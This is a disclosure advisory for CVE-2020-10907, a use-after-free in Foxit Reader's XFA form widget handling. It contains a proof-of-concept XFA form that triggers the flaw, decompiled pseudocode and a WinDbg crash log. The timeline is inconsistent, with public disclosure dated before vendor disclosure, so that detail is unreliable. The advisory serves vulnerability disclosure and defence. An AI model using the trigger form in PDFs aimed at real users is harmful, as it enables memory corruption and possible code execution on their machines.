CVE: CVE-2020-10907
Tested Versions:
- Foxit Reader 9.7.0.29455
Product URL(s):
Description of the vulnerability
Foxit Reader is a popular PDF reading and printing software.
When processing XFA forms within a PDF, a flaw exists when handling widgets in the form, which can lead to code execution.
The attacker setup a XFA form which has 2 XFA_Widget
s: combobox, and checkbox_group.
<!-- XFA Combo Box -->
<subform layout="tb" name="subform_combox_0">
<occur initial="1" max="10" min="0" name="occur_subform_combox_0">
</occur>
<field h="10mm" name="combox" w="40mm" x="10mm" y="10mm">
<ui>
<choiceList open="onEntry">
<border><edge/></border>
</choiceList>
</ui>
<items save="1">
<text>apples</text>
<text>bananas</text>
<text>pears</text>
</items>
<value>
<text>apples</text>
</value>
<event activity="ready" ref="$layout">
<script contentType="application/x-javascript">
xfa.host.openList("my_doc.subform_combox_0");
</script>
</event>
</field>
</subform>
<!-- XFA CheckBox Group-->
<subform layout="tb" name="subform_checkbutton_group_0">
<occur initial="1" max="10" min="0" name="occur_subform_checkbutton_group_0">
</occur>
<exclGroup layout="tb" name="checkbutton_group">
<!-- XFA CheckBox 1-->
<field h="10mm" name="checkbutton_check1" w="40mm" x="30mm" y="600mm">
<ui>
<checkButton shape="round">
<border><edge/></border>
</checkButton>
</ui>
<items>
<integer>1</integer>
</items>
<value>
<text>Select 1</text>
</value>
<caption placement="left">
<value>
<text>Option 1</text>
</value>
</caption>
<validate>
<script contentType="application/x-javascript">
xfa.resolveNode("my_doc.subform_checkbutton_group_0.checkbutton_group.checkbutton_check1").addItem("this is random string");
xfa.resolveNode("my_doc.subform_checkbutton_group_0.checkbutton_group").rawValue = "this is random string";
</script>
</validate>
</field>
<!-- XFA CheckBox 2-->
<field h="10mm" name="checkbutton_check2" w="40mm" x="30mm" y="600mm">
<ui>
<checkButton shape="round">
<border><edge/></border>
</checkButton>
</ui>
<items>
<integer>2</integer>
</items>
<value>
<text>Select 2</text>
</value>
<caption placement="left">
<value>
<text>Option 2</text>
</value>
</caption>
</field>
</exclGroup>
<event activity="ready" ref="$layout">
<script contentType="application/x-javascript">
_subform_checkbutton_group_0.addInstance(93);
</script>
</event>
</subform>
Foxit Reader didn’t properly handle re-entry validate event when adding new instances into PDF XFA form, which leads to Use-After-Free in this case.
The XFA_Widget
object is generated when parsing XFA_Field
, the side-effect above triggers XFA_Widget
of Checkbutton is freed in this code snippet:
// CReader_DocView::method_x ()
int __userpurge CReader_DocView::method_x@<eax>(int a1@<ecx>, int a2@<edi>, int a3, int a4, int a5, int a6)
{
//... skipped
v6 = a1;
v7 = (*(int (**)(void))(*(_DWORD *)a1 + 4))();
result = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 12))(v7);
if ( result == 1 )
{
//... skipped
v16 = sub_60E290(a6);
v49 = v16;
//... skipped
result = (*(int (**)(void))(*(_DWORD *)v49 + 36))();// CBF_XFAWidget::~CBF_XFAWidget <- CBF_XFA_Widget is freed here
}
//... skipped
}
When the user exists Foxit Reader, this freed object is used at this function:
int __stdcall sub_00BAA890(int this)
{
_DWORD *v1; // esi
int result; // eax
int v3; // eax
int v4; // edi
int v5; // esi
v1 = (_DWORD *)this;
if ( this )
{
if ( (*(int (__thiscall **)(int))(*(_DWORD *)this + 8))(this) )// crash here
{
result = sub_B85A60(v1);
if ( result )
return result;
v3 = sub_1C45210(&this);
v4 = sub_BAA840(v3);
sub_1E295E0(&this);
if ( v4 )
{
sub_B87DC0(v1, v4);
return v4;
}
}
else if ( (*(int (__thiscall **)(_DWORD *))(*v1 + 12))(v1) )
{
sub_1E29520(&this, "XFAWidget", -1);
v5 = sub_BAA840(&this);
sub_1E295E0(&this);
return v5;
}
}
return 0;
}
The following crash long is from windbg when Page Heap is enabled:
0105a8c2 8b06 mov eax,dword ptr [esi] ds:002b:3271cfe0=????????
0105a8c4 8bce mov ecx,esi
0105a8c6 ff5008 call dword ptr [eax+8]
0105a8c9 8bd8 mov ebx,eax
0105a8cb 8bce mov ecx,esi
0105a8cd 85db test ebx,ebx
(18bc.1618): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001a838c ebx=14dd2f30 ecx=14dd2f30 edx=f65f4ffc esi=3271cfe0 edi=14dd2f30
eip=0105a8c2 esp=001a837c ebp=001a8398 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2a5d12:
0105a8c2 8b06 mov eax,dword ptr [esi] ds:002b:3271cfe0=????????
0:000> !heap -p -a esi
address 3271cfe0 found in
_DPH_HEAP_ROOT @ 5a1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
9a3f2138: 3271c000 2000
64cbadc2 verifier!AVrfDebugPageHeapFree+0x000000c2
77bb9823 ntdll!RtlDebugFreeHeap+0x0000003e
77b0dd3e ntdll!RtlpFreeHeap+0x000000ce
77b56cdb ntdll!RtlpFreeHeapInternal+0x00000783
77b0dc16 ntdll!RtlFreeHeap+0x00000046
039794b7 FoxitReader!CFXJSE_Arguments::GetValue+0x00f75427
03957261 FoxitReader!CFXJSE_Arguments::GetValue+0x00f531d1
038dc623 FoxitReader!CFXJSE_Arguments::GetValue+0x00ed8593
01ede289 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00557989
00aeb48b FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00032a5b
00ae623d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d80d
00acaf9c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0001256c
00b0f960 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00056f30
028f803f FoxitReader!safe_vsnprintf+0x009f4fcf
028d7f90 FoxitReader!safe_vsnprintf+0x009d4f20
028d7fc8 FoxitReader!safe_vsnprintf+0x009d4f58
028d77e4 FoxitReader!safe_vsnprintf+0x009d4774
028bf3ab FoxitReader!safe_vsnprintf+0x009bc33b
028f1fc7 FoxitReader!safe_vsnprintf+0x009eef57
028f3372 FoxitReader!safe_vsnprintf+0x009f0302
01ed776c FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00550e6c
0105383f FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x0029ec8f
00abe9de FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00005fae
00abeaa7 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00006077
00ac5ba3 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0000d173
00bd9b88 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0002e698
00bbbb78 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x00010688
00bbb31d FoxitReader!std::basic_ostream<char,std::char_traits<char> >::put+0x0000fe2d
036f898a FoxitReader!CFXJSE_Arguments::GetValue+0x00cf48fa
036f9e21 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf5d91
036f47c4 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf0734
036f5037 FoxitReader!CFXJSE_Arguments::GetValue+0x00cf0fa7
Timeline:
- 2020-03-15 Vendor disclosure via ZDI
- 2019-04-16 Coordinated public disclosure
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
The vendor advisory can be found here: https://www.foxitsoftware.com/support/security-bulletins.php.